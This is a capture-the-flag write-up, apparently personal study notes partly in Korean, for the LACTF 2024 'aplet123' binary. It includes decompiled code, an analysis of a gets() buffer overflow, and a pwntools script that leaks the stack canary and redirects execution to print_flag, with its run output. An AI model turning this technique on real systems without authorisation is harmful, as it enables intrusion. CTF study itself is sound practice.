checksec
[*] '/home/seo/study/LACTF2024/aplet123/aplet123' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
Decompiled src
haystack
버퍼(크기 72바이트)에gets
로 입력받음- 입력 문자열에
"i'm"
이 포함되어 있으면,"i'm"
바로 뒤의 문자열을 추출해hi <이름>, i'm aplet123
형식으로 출력함. "bye"
를 입력하면 메인 루프 빠져나감.
int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int v5; // eax char *v6; // [rsp+8h] [rbp-58h] char haystack[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v8; // [rsp+58h] [rbp-8h] v8 = __readfsqword(0x28u); setbuf(_bss_start, 0); v3 = time(0); srand(v3); puts("hello"); while ( 1 ) { while ( 1 ) { while ( 1 ) { gets(haystack); v6 = strstr(haystack, "i'm"); if ( !v6 ) break; printf("hi %s, i'm aplet123\n", v6 + 4); } if ( strcmp(haystack, "please give me the flag") ) break; puts("i'll consider it"); sleep(5u); puts("no"); } if ( !strcmp(haystack, "bye") ) break; v5 = rand(); puts(responses[v5 % 0x21uLL]); } puts("bye"); return 0; }
Analysis
gets
함수는 입력길이 제한없어 BOF 취약점 발생 가능.
연속된 A 69바이트 + “I’m” 페이로드 구성시 카나리 유출 가능.
그 후, A 72바이트 + ㅋ카나리 8바이트 + print_flag 주소 넣고, 루프문 탈출시 flag 획득 가능.
unsigned __int64 print_flag() { FILE *stream; // [rsp+8h] [rbp-118h] char s[264]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v3; // [rsp+118h] [rbp-8h] v3 = __readfsqword(0x28u); stream = fopen("flag.txt", "r"); fgets(s, 256, stream); puts(s); return v3 - __readfsqword(0x28u); }
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./aplet123") e = ELF('./aplet123', checksec=True) payload = b"A"*(72-3) + b"i'm" p.sendlineafter(b"hello\n", payload) p.recvuntil(b"hi ") canary = p.recv(7).rjust(0x8, b"\x00") canary = u64(canary) success(f"canary: {hex(canary)}") payload = b"A"*72 payload += p64(canary) payload += b"B"*8 payload += p64(e.symbols["print_flag"]) p.sendlineafter(b"aplet123\n", payload) p.sendline(b"bye") p.interactive()
Result
seo@seo:~/study/LACTF2024/aplet123$ python3 solve.py [+] Starting local process './aplet123': pid 5528 [*] '/home/seo/study/LACTF2024/aplet123/aplet123' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [+] canary: 0x38089fcbde44af00 [*] Switching to interactive mode unlucky bye flag{fake_flag} [*] Got EOF while reading in interactive $ [*] Interrupted [*] Process './aplet123' stopped with exit code -11 (SIGSEGV) (pid 5528) seo@seo:~/study/LACTF2024/aplet123$ cat flag.txt flag{fake_flag}